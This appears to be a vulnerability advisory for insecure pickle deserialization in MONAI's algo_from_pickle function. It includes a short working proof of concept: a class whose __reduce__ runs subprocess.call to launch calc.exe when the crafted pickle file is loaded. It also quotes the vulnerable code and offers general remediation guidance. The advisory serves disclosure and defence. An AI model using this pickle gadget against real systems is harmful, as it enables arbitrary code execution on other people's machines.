The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.
poc
import pickle
import subprocess
class MaliciousAlgo:
def __reduce__(self):
return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())
attack_data = {
"algo_bytes": malicious_algo_bytes,
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
f.write(pickle.dumps(attack_data))
Generate the malicious file "attack_algo.pkl" through POC.
from monai.auto3dseg.utils import algo_from_pickle
attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)
Ultimately, it will trigger pickle.load through a file to identify the command execution.
<img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" />
Causes of the vulnerability:
def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes)
Arbitrary code execution
Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method
| Software | Affected versions |
|---|---|
monai
|
< 1.6.0 |
A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.
What is attack surface management? →A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
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